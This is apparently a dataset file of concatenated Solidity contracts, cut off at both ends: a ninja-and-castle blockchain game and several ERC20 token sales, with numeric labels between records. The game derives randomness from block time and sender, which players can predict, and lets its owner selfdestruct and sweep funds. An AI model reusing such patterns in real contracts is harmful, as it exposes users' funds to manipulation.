Ninja storage ninja = ninjas[_ninjaid];
return (ninja.name, ninja.level, ninja.winCount, ninja.lossCount, ninja.pattern,
ninja.dna1, ninja.dna2);
}
function getHp(uint256 _ninjaid)
public
view
returns (uint32)
{
Ninja storage ninja = ninjas[_ninjaid];
return uint32(100 + (ninja.level - 1) * 10);
}
function getDna1(uint256 _ninjaid)
public
view
returns (uint8)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.dna1;
}
function getDna2(uint256 _ninjaid)
public
view
returns (uint8)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.dna2;
}
function isReady(uint256 _ninjaid)
public
view
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
return (ninja.readyTime <= now);
}
function getReward(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (uint16)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.reward;
}
function getPath(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (bytes path)
{
return paths[_ninjaid];
}
function getLastAttack(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (uint256 castleid, bytes path)
{
Ninja storage ninja = ninjas[_ninjaid];
return (ninja.lastAttackedCastleid, paths[_ninjaid]);
}
function getAttr(bytes32 _pattern, uint256 _n)
internal
pure
returns (bytes4)
{
require(_n < 8);
uint32 mask = 0xffffffff;
return bytes4(uint256(_pattern) / (2 ** ((7 - _n) * 8)) & mask);
}
function _getRandom(uint256 _modulus)
internal
onlyAccessByGame
returns(uint32)
{
randNonce = randNonce.add(1);
return uint32(uint256(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % _modulus);
}
function _generateInitialPattern()
internal
onlyAccessByGame
returns (bytes32)
{
uint256 pattern = 0;
uint32 color = COLORS[(_getRandom(COLORS.length))];
for (uint256 i = 0; i < 8; i++) {
uint32 temp = color;
if (i == 1) {
temp |= _getRandom(2);
} else {
temp |= _getRandom(maxCoordinate);
}
pattern = pattern | (temp * 2 ** (8 * 4 * (7 - i)));
}
return bytes32(pattern);
}
function getPrice()
public
view
returns (uint256)
{
return price;
}
}
contract UserToken is AccessByGame {
struct User {
string name;
uint32 registeredDate;
}
string constant public DEFAULT_NAME = "NONAME";
User[] private users;
uint256 public userCount = 0;
mapping (address => uint256) private ownerToUser;
constructor()
public
{
mint(msg.sender, "OWNER");
}
function mint(address _beneficiary, string _name)
public
onlyAccessByGame
whenNotPaused()
returns (bool)
{
require(_beneficiary != address(0));
require(ownerToUser[_beneficiary] == 0);
User memory user = User({
name: _name,
registeredDate: uint32(now)
});
uint256 id = users.push(user) - 1;
ownerToUser[_beneficiary] = id;
userCount++;
return true;
}
function setName(string _name)
public
whenNotPaused()
returns (bool)
{
require(bytes(_name).length > 1);
require(ownerToUser[msg.sender] != 0);
uint256 userid = ownerToUser[msg.sender];
users[userid].name = _name;
return true;
}
function getUserid(address _owner)
external
view
onlyAccessByGame
returns(uint256 result)
{
if (ownerToUser[_owner] == 0) {
return 0;
}
return ownerToUser[_owner];
}
function getUserInfo()
public
view
returns (uint256, string, uint32)
{
uint256 userid = ownerToUser[msg.sender];
return getUserInfoById(userid);
}
function getUserInfoById(uint256 _userid)
public
view
returns (uint256, string, uint32)
{
User storage user = users[_userid];
return (_userid, user.name, user.registeredDate);
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] tokens) onlyOwner public {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract GameV001 is AccessByGame, TokenDestructible {
using SafeMath for uint256;
uint8 constant INIT_WIDTH = 5;
uint8 constant INIT_DEPTH = 8;
UserToken private userToken;
EverGold private goldToken;
CastleToken private castleToken;
NinjaToken private ninjaToken;
ItemToken private itemToken;
struct AttackLog {
uint256 castleid;
uint16 reward;
uint32 hp;
uint8 path;
uint32 trapDamage;
bool dead;
}
mapping (uint256 => AttackLog[]) private attackLogs;
mapping (uint256 => uint256) private numAttackLogs;
event Attack(uint256 ninjaid, uint256 castleid, uint32 hp, uint8 path, uint32 trapDamage, uint32 damage);
event AttackStart(uint256 ninjaid, uint256 castleid, uint32 hp);
event AttackEnd(uint256 ninjaid, uint256 castleid, bool result);
constructor(
address _goldTokenAddress,
address _castleTokenAddress,
address _ninjaTokenAddress,
address _userTokenAddress,
address _itemTokenAddress)
public
{
require(_goldTokenAddress != address(0));
require(_castleTokenAddress != address(0));
require(_ninjaTokenAddress != address(0));
require(_userTokenAddress != address(0));
require(_itemTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
castleToken = CastleToken(_castleTokenAddress);
ninjaToken = NinjaToken(_ninjaTokenAddress);
userToken = UserToken(_userTokenAddress);
itemToken = ItemToken(_itemTokenAddress);
}
function registerUser(string _name)
public
returns (bool)
{
require(msg.sender != address(0));
require(userToken.mint(msg.sender, _name));
return true;
}
function buyNinja(address _beneficiary)
public
payable
returns (bool)
{
require(msg.sender != address(0));
uint256 price = ninjaToken.getPrice();
require(msg.value == price);
require(ninjaToken.mint(_beneficiary));
return true;
}
function buyCastle(address _beneficiary)
public
payable
returns (bool)
{
require(msg.sender != address(0));
uint256 price = castleToken.getPrice();
require(msg.value == price);
require(castleToken.mint(_beneficiary));
return true;
}
function buyItem(address _beneficiary, uint8 _itemid, uint256 _amount)
public
payable
returns (bool)
{
require(msg.sender != address(0));
uint16 price = itemToken.getPrice(_itemid);
uint256 totalPrice = price * _amount;
require(msg.value == totalPrice);
require(itemToken.buy(_beneficiary, _itemid, _amount));
return true;
}
function defence(
address _beneficiary,
uint256 _castleid,
uint16 _reward,
bytes _traps,
uint256[] _useTraps)
public
payable
whenNotPaused
returns (bool)
{
require(msg.value == _reward);
for (uint256 i = 1; i < _useTraps.length; i++) {
if (_useTraps[i] > 0) {
require(itemToken.useItem(_beneficiary, i, _useTraps[i]));
}
}
require(castleToken.setTraps(_castleid, _reward, _traps));
return true;
}
function addTraps(
uint256 _castleid,
bytes _traps,
uint256[] _useTraps)
public
whenNotPaused
returns (bool)
{
require(castleToken.getReward(_castleid) > 0);
bytes memory traps = castleToken.getTrapInfo(_castleid);
for (uint256 i = 1; i < _useTraps.length; i++) {
if ((traps[i]) == 0 &&
(_useTraps[i] > 0)) {
require(itemToken.useItem(msg.sender, i, _useTraps[i]));
}
}
require(castleToken.setTraps(_castleid, castleToken.getReward(_castleid), _traps));
return true;
}
function attack(
uint256 _ninjaid,
uint256 _castleid,
bytes _path)
public
payable
whenNotPaused
returns (bool)
{
uint16 reward = castleToken.getReward(_castleid);
require(msg.value == reward / 2);
uint32 hp = ninjaToken.getHp(_ninjaid);
_clearAttackLog(_ninjaid);
bytes memory steps = new bytes(_path.length);
uint256 count = 0;
uint32 damage = 0;
for (uint256 i = 0; i < _path.length; i++) {
uint32 trapDamage = _computeDamage(_castleid, _ninjaid, uint8(_path[i]));
if (trapDamage > 0) {
steps[count++] = _path[i];
damage = damage + trapDamage;
if (hp <= damage) {
_insertAttackLog(_ninjaid, _castleid, reward, hp, uint8(_path[i]), trapDamage, true);
address castleOwner = castleToken.ownerOf(_castleid);
goldToken.transfer(castleOwner, reward / 2);
castleToken.win(_castleid, _ninjaid, uint256(_path[i]), steps, count);
ninjaToken.lost(_ninjaid);
ninjaToken.setPath(_ninjaid, _castleid, _path, steps);
emit AttackEnd(_ninjaid, _castleid, false);
return true;
}
}
_insertAttackLog(_ninjaid, _castleid, reward, hp, uint8(_path[i]), trapDamage, false);
}
require(goldToken.transfer(ninjaToken.ownerOf(_ninjaid), reward + reward / 2));
require(castleToken.lost(_castleid, _ninjaid));
require(ninjaToken.win(_ninjaid));
ninjaToken.setPath(_ninjaid, _castleid, _path, steps);
emit AttackEnd(_ninjaid, _castleid, true);
return true;
}
function _computeDamage(uint256 _castleid, uint256 _ninjaid, uint8 _itemid)
internal
view
returns (uint32)
{
uint32 trapPower = itemToken.getPower(castleToken.getTrapid(_castleid, uint8(_itemid)));
if (trapPower <= 0) {
return 0;
}
uint32 trapDamage = trapPower + castleToken.getLevel(_castleid) - 1;
uint8 dna1 = ninjaToken.getDna1(_ninjaid);
uint8 dna2 = ninjaToken.getDna2(_ninjaid);
if (_itemid == 1) {
if (dna1 == 4) {
trapDamage *= 2;
}
if (dna2 == 4) {
trapDamage *= 2;
}
if (dna1 == 3) {
trapDamage /= 2;
}
if (dna2 == 3) {
trapDamage /= 2;
}
} else if (_itemid == 2) {
if (dna1 == 5) {
trapDamage *= 2;
}
if (dna2 == 5) {
trapDamage *= 2;
}
if (dna1 == 4) {
trapDamage /= 2;
}
if (dna2 == 4) {
trapDamage /= 2;
}
} else if (_itemid == 3) {
if (dna1 == 1) {
trapDamage *= 2;
}
if (dna2 == 1) {
trapDamage *= 2;
}
if (dna1 == 5) {
trapDamage /= 2;
}
if (dna2 == 5) {
trapDamage /= 2;
}
} else if (_itemid == 4) {
if (dna1 == 2) {
trapDamage *= 2;
}
if (dna2 == 2) {
trapDamage *= 2;
}
if (dna1 == 1) {
trapDamage /= 2;
}
if (dna2 == 1) {
trapDamage /= 2;
}
} else if (_itemid == 5) {
if (dna1 == 3) {
trapDamage *= 2;
}
if (dna2 == 3) {
trapDamage *= 2;
}
if (dna1 == 2) {
trapDamage /= 2;
}
if (dna2 == 2) {
trapDamage /= 2;
}
}
return trapDamage;
}
function _insertAttackLog(
uint256 _ninjaid,
uint256 _castleid,
uint16 _reward,
uint32 _hp,
uint8 _path,
uint32 _trapDamage,
bool _dead)
private
{
if(numAttackLogs[_ninjaid] == attackLogs[_ninjaid].length) {
attackLogs[_ninjaid].length += 1;
}
AttackLog memory log = AttackLog(_castleid, _reward, _hp, _path, _trapDamage, _dead);
attackLogs[_ninjaid][numAttackLogs[_ninjaid]++] = log;
}
function _clearAttackLog(uint256 _ninjaid)
private
{
numAttackLogs[_ninjaid] = 0;
}
function setGoldContract(address _goldTokenAddress)
public
onlyOwner
{
require(_goldTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
}
function setCastleContract(address _castleTokenAddress)
public
onlyOwner
{
require(_castleTokenAddress != address(0));
castleToken = CastleToken(_castleTokenAddress);
}
function setNinjaContract(address _ninjaTokenAddress)
public
onlyOwner
{
require(_ninjaTokenAddress != address(0));
ninjaToken = NinjaToken(_ninjaTokenAddress);
}
function setItemContract(address _itemTokenAddress)
public
onlyOwner
{
require(_itemTokenAddress != address(0));
itemToken = ItemToken(_itemTokenAddress);
}
function setUserContract(address _userTokenAddress)
public
onlyOwner
{
require(_userTokenAddress != address(0));
userToken = UserToken(_userTokenAddress);
}
function getLastAttack(uint256 _ninjaid, uint256 _index)
public
view
returns (uint256 castleid, uint16 reward, uint32 hp, uint8 path, uint32 trapDamage, bool dead)
{
require(ninjaToken.ownerOf(_ninjaid) == msg.sender);
AttackLog memory log = attackLogs[_ninjaid][_index];
return (log.castleid, log.reward, log.hp, log.path, log.trapDamage, log.dead);
}
function getLastAttackCount(uint256 _ninjaid)
public
view
returns (uint256)
{
require(ninjaToken.ownerOf(_ninjaid) == msg.sender);
return numAttackLogs[_ninjaid];
}
} | 1 | 2,835 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IMCS is StandardToken {
string public constant name = "iMarketslive serve";
string public constant symbol = "IMCS";
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 ether;
address public constant team_wallet = 0xe0c275e96aD1C5B5F81eAAc5519816B11E83bFb9;
constructor() public {
totalSupply_ = TOTAL_SUPPLY;
balances[team_wallet] = totalSupply_;
emit Transfer(address(0), team_wallet, totalSupply_);
}
} | 1 | 4,181 |
pragma solidity ^0.4.18;
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MisToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MisToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MisTokenFactory public tokenFactory;
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MisTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MisToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MisToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MisToken token = MisToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MisTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
MisToken newToken = new MisToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract MISTOKEN is MisToken {
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223,
0x0,
0,
"MISTOKEN",
18,
"MISO",
true
) {}
} | 1 | 3,109 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
require(value == 0 || _allowed[msg.sender][spender] == 0);
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract BurnerRole {
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private burners;
constructor() internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
burners.remove(account);
emit BurnerRemoved(account);
}
}
contract ERC20Burnable is ERC20, BurnerRole {
function burn(uint256 value) public onlyBurner {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public onlyBurner {
_burnFrom(from, value);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract AhaToken is ERC20, ERC20Detailed, ERC20Burnable {
uint256 public constant INITIAL_SUPPLY = 15 * (10 ** 9);
constructor() public ERC20Detailed("Aha Knowledge Token", "AHT", 18) {
_mint(msg.sender, INITIAL_SUPPLY * (10 ** uint256(decimals())));
}
function () public payable {
revert();
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
} | 1 | 2,682 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public;
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) external;
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DTDToken is IERC20 {
using SafeMath for uint256;
string public name = "Dontoshi Token";
string public symbol = "DTD";
uint public decimals = 18;
uint public _totalSupply = 100000000e18;
uint public _tokenLeft = 100000000e18;
uint public _round1Limit = 2300000e18;
uint public _round2Limit = 5300000e18;
uint public _round3Limit = 9800000e18;
uint public _developmentReserve = 20200000e18;
uint public _endDate = 1544918399;
uint public _minInvest = 0.5 ether;
uint public _maxInvest = 100 ether;
mapping (address => uint256) _investedEth;
mapping (address => uint256) balances;
mapping (address => mapping(address => uint256)) allowed;
address public owner;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public payable {
owner = 0x9FD6977e609AA945C6b6e40537dCF0A791775279;
balances[owner] = _totalSupply;
}
function () external payable {
tokensale(msg.sender);
}
function tokensale(address recipient) public payable {
require(recipient != 0x0);
uint256 weiAmount = msg.value;
uint tokens = weiAmount.mul(getPrice());
_investedEth[msg.sender] = _investedEth[msg.sender].add(weiAmount);
require( weiAmount >= _minInvest );
require(_investedEth[msg.sender] <= _maxInvest);
require(_tokenLeft >= tokens + _developmentReserve);
balances[owner] = balances[owner].sub(tokens);
balances[recipient] = balances[recipient].add(tokens);
_tokenLeft = _tokenLeft.sub(tokens);
owner.transfer(msg.value);
TokenPurchase(msg.sender, recipient, weiAmount, tokens);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address who) public view returns (uint256) {
return balances[who];
}
function sendDTDToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _tokenLeft >= value
);
balances[owner] = balances[owner].sub(value);
balances[to] = balances[to].add(value);
_tokenLeft = _tokenLeft.sub(value);
Transfer(owner, to, value);
}
function sendDTDTokenToMultiAddr(address[] memory listAddresses, uint256[] memory amount) public onlyOwner {
require(listAddresses.length == amount.length);
for (uint256 i = 0; i < listAddresses.length; i++) {
require(listAddresses[i] != 0x0);
balances[listAddresses[i]] = balances[listAddresses[i]].add(amount[i]);
